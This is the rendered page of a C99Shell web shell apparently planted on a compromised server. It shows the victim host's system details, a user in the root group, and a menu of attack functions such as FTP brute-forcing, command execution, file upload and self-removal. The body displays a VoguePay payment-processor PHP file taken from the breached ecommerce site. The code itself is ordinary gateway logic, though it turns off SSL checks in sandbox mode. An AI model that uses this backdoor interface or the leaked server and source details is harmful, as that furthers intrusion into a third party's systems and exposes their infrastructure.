!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/VoguePay/Processor/   drwxr-xr-x
Free 25.98 GB of 117.98 GB (22.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VoguePayProcessor.php (5.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package VoguePayProcessor
 * @author techvillage <support@techvill.org>
 * @contributor Md. Mostafijur Rahman <[mostafijur.techvill@gmail.com]>
 * @created 24-01-23
 */

namespace Modules\VoguePay\Processor;

use 
Modules\Gateway\Contracts\{
    
PaymentProcessorInterface
    
RequiresCallbackInterface
    
RequiresCancelInterface
};
use 
Modules\VoguePay\Response\VoguePayResponse;
use 
Modules\Gateway\Services\GatewayHelper;
use 
Modules\VoguePay\Entities\VoguePay;

class 
VoguePayProcessor implements PaymentProcessorInterfaceRequiresCallbackInterfaceRequiresCancelInterface
{
    private 
$voguePay;
    private 
$helper;
    private 
$email;
    private 
$data;
    private 
$notifyUrl;
    private 
$successUrl;
    private 
$failUrl;
    private 
$developerCode;
    private 
$validatePayload;
    private 
$payload;
    private 
$sandbox;

    
/**
     * vogue pay constructor
     * 
     * @return void
     */
    
public function __construct()
    {
        
$this->helper GatewayHelper::getInstance();
    }

    
/**
     * Setup the initials value
     *
     * @return void
     */
    
private function setupData()
    {
        
$this->data $this->helper->getPurchaseData($this->helper->getPaymentCode());
        
$this->voguePay VoguePay::firstWhere('alias'config('voguepay.alias'))->data;
        
$this->notifyUrl route('gateway.callback'withOldQueryIntegrity(['gateway' => 'voguepay']));
        
$this->successUrl route('gateway.callback'withOldQueryIntegrity(['gateway' => 'voguepay']));
        
$this->failUrl route('gateway.cancel'withOldQueryIntegrity(['gateway' => 'voguepay']));
        
$this->developerCode config('voguepay.developerCode');
        
$this->sandbox $this->voguePay->sandbox == true false;

    }

    
/**
     * Setup the payload values
     *
     * @return void
     */
    
private function setPayload()
    {
        
$this->payload = array(
            
'p' => 'linkToken',
            
'v_merchant_id' => $this->voguePay->merchantId,
            
'memo' => $this->data->code,
            
'total' => $this->data->total,
            
'email' => $this->email,
            
'merchant_ref' => 'MV'.time(),
            
'notifyUrl' => $this->notifyUrl,
            
'successUrl' => $this->successUrl,
            
'failUrl' => $this->failUrl,
            
'developerCode' => $this->developerCode,
            
'cur' => $this->data->currency_code,
        );
    }

    
/**
     * Payment function
     *
     * @param array|mix $request
     * @return String $response
     */
    
public function pay($request)
    {
        if (!
$request->email) {
            throw new 
\Exception('Email is required!');
        }
        
$this->email $request->email;

        
$this->setupData();
        
$this->setPayload();

        
$response $this->callToApi($this->payload$this->sandbox);

        return 
redirect($response);
    }

    
/**
     * Verify payment transaction
     *
     * @param array|mix $request
     * @return array|mix $response
     */
    
public function validateTransaction($request)
    {
        
$this->setupData();
        
        
$transaction_id $request->transaction_id;
        
        if (!
$transaction_id) {
            throw new 
\Exception('No transaction supplied.');
        }
        
        
$this->setValidatePayload($request);

        
$curlResponse $this->callToApi($this->validatePayload$this->sandbox);
        
        
$transaction json_decode($curlResponse);

        if (!
$transaction->status) {
            throw new 
\Exception($transaction->message);
        }

        if (
'Approved' <> $transaction->status) {
            throw new 
\Exception('Validation Failed.');
        }

        return new 
VoguePayResponse($this->data$transaction);
    }


    
/**
     * Cancel Payment
     *
     * @param object $request
     * @return void
     */
    
public function cancel($request)
    {
        throw new 
\Exception(__('Payment cancelled from Vogue pay.'));
    }


    
/**
     * Call API
     * @param $payload
     * @param bool $setLocalhost
     * @param array $header
     * @return bool|string
     */
    
public function callToApi($payload$setLocalhost true$header = [])
    {
        
$curl curl_init();
        if (!
$setLocalhost) {
            
curl_setopt($curlCURLOPT_SSL_VERIFYPEERtrue);
            
curl_setopt($curlCURLOPT_SSL_VERIFYHOST2); 
        } else {
            
curl_setopt($curlCURLOPT_SSL_VERIFYPEERfalse);
            
curl_setopt($curlCURLOPT_SSL_VERIFYHOST0);
        }

        
curl_setopt($curlCURLOPT_URL'https://pay.voguepay.com/?' http_build_query($payload));
        
curl_setopt($curlCURLOPT_HEADER0);
        
curl_setopt($curlCURLOPT_HTTPHEADER$header);
        
curl_setopt($curlCURLOPT_TIMEOUT60);
        
curl_setopt($curlCURLOPT_RETURNTRANSFER1);

        
$response curl_exec($curl);
        
$err curl_error($curl);
        
$code curl_getinfo($curlCURLINFO_HTTP_CODE);
        
$curlErrorNo curl_errno($curl);
        
curl_close($curl);

        if (
$code == 200 & !($curlErrorNo)) {
            return 
$response;
        }

        throw new 
\Exception(__('Failed to connect with vogue pay.'));
    }


    
/**
     * Set validation data
     *
     * @param object $request
     * @return void
     */

    
private function setValidatePayload($request)
    {
        
$this->validatePayload = array(
            
'v_transaction_id' => $request->transaction_id,
            
'v_merchant_id' => $this->voguePay->merchantId,
            
'type' => 'json',
        );
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--